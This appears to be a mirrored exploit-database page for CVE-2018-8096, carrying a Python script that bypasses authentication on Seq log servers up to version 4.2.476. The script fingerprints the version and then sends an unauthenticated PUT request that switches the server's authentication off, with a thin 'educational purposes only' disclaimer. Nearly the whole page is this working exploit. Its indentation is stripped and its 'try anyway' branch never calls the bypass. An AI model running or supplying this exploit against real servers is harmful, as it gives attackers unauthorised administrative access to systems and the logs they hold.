Seq 4.2.476 authentication bypass Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-08-02 | Type : webapps | Platform : windows
This exploit / vulnerability Seq 4.2.476 authentication bypass is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Seq 4.2.476 - Authentication Bypass
# Date: 2018-08-02
# Exploit Author: Daniel Chactoura
# Vendor Homepage: https://getseq.net/
# Software Link: https://getseq.net/Download/All
# Version: <= 4.2.476
# CVE : CVE-2018-8096
# Post Reference: https://medium.com/stolabs/bypass-admin-authentication-on-seq-17f0f9e02732

# coding=utf-8

#!/bin/python

import sys
import requests

def verifyArgs(args):
if len(args) < 2:
print('[!] Usage: '+str(args[0])+' https://target')
exit(0)
elif 'http' not in str(args[1]):
print('''[!] Missing "https://" !''')
exit(0)
else:
return(1)

def verifyVersion(url):
vulnVersions = ['4.2.476','4.2.470','4.1.17','4.1.16',
'4.1.14','4.0.60','4.0.58','3.4.20',
'3.4.18','3.4.17','3.3.23','3.3.22',
'3.3.21','3.3.20','3.2.16','3.1.17',
'3.1.16','3.0.30','2.4.2','2.3.4',
'2.3.3','2.2.8','2.1.22','2.1.21',
'2.0.19','1.6.13','1.6.12','1.6.11',
'1.6.10','1.6.9','1.6.8','1.6.7',
'1.6.6','1.6.5','1.6.4','1.5.19',
'1.5.18','1.5.17','1.5.16','1.4.12',
'1.4.11','1.4.10','1.4.9','1.4.8',
'1.4.7','1.4.6','1.3.11','1.3.10',
'1.3.9','1.3.8']
u = str(url)
verifV = requests.get(u+'/api/')
verifVJSON = verifV.json()
ver = str(verifVJSON['Version'])[:-2]

if ver in vulnVersions:
print("[+] Seq's version is potentially vulnerable!")
return(1)
else:
print("[!] Seq's version is probably not vulnerable!")
return(0)

def bypassAuth(url):
u = str(url)
payload = "{'Name':'isauthenticationenabled','Value':false,'Id':'setting-isauthenticationenabled','Links':{'Self':'api/settings/setting-isauthenticationenabled','Group':'api/settings/resources'}}"
h = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0', 'Referer':u}
verifM = requests.put(u+'/api/settings/setting-isauthenticationenabled', data=payload, headers=h)
verifMCode = str(verifM.status_code)
if verifMCode == '200':
print("[:)] YES! Success! Now, access the url and have fun!")
else:
print("[:(] DAMN! This is not your lucky day...")

def main():
try:
if verifyArgs(sys.argv):
if verifyVersion(sys.argv[1]):
bypassAuth(sys.argv[1])
else:
c = input('[?] Do you want to try it anyway? (y/n): ').lower()
if c == 'y':
pass
elif c == 'n':
exit(0)
else:
print('[!] Invalid choice!')
exit(0)
except KeyboardInterrupt:
exit(0)

if __name__ == '__main__':
main()